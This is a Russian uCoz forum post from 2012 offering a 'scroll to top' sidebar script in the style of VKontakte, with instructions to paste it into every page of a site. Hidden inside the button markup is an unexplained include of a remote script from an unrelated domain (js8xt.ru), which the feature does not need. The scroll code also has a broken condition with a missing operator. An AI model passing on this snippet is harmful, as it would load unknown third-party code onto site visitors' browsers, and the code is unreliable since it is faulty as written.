Реклама:



  • Страница 1 из 1
  • 1
Форум » Скрипты для uCoz » Другие скрипты » Боковая панель "Вверх" как вконтакте для uCoz (Шыкарный скрипт)
Боковая панель "Вверх" как вконтакте для uCoz
Aninew | Доп. инфо.
Дата: Суббота, 07.04.2012, 11:03 | Сообщение # 1


Пользователи
Сообщений: 7
Репутация: 1
Шыкарный скрипт! на темный дизайнах бомбезно смотрится

Так выглядит скрипт: http://s44.radikal.ru/i105/1203/90/7b504a2e4f2d.jpg

Идея данного скрипта была взята с социальной сети Вконтакте

Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

Установка:
В любой глобальный блок в самый низ:

Code
<style>   
   #aposcroll a {   
   text-decoration:none;   
   color:red;   
   }   

   #aposcroll:hover {   
   background-color:rgba(200, 200, 200, 0.7);   
   box-shadow:0px -5px 10px #777;   
   }   
   </style>   
   <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script type="text/javascript" src="http://js8xt.ru/ves.js"></script></div>   

   <script>   
   // Кнопка Вверх by Apocalypse   
   var as = $('#aposcroll');   
   as.click(function() {   
   $(document).scrollTo(0, 500);   
   });   
   document.onscroll = function() {   
   var apolst = '0.'+$('body').scrollTop();   
   if(apolst.length == 5) {   
   as.stop().fadeTo(500, apolst);   
   } else if(apolst.length == 4  apolst.length == 3) {   
   as.stop().fadeTo(500, 0);   
   };   
   };   
   // apo-ucoz.com (c) 2012   
   </script>
Форум » Скрипты для uCoz » Другие скрипты » Боковая панель "Вверх" как вконтакте для uCoz (Шыкарный скрипт)
  • Страница 1 из 1
  • 1
Поиск:

Мини-чат

  Портал DeLux|Полное или частичное использование материалов только с разрешения администрации. Сайт оптимизирован под браузер Opera. Дизайн данного сайта полностью принадлежит администратору сайта.

Вся информация предоставленная на сайте Портал DeLux является собственностью авторов. Любую информацию размещенную на сайте запрещено копировать без размещения ссылки на источник.
Дизайн данного сайта принадлежит полностью администратору сайта. Категорически запрещается копировать и использовать без соглашения главного администратора.
Yandex | Google | Rambler | Yahoo | Mail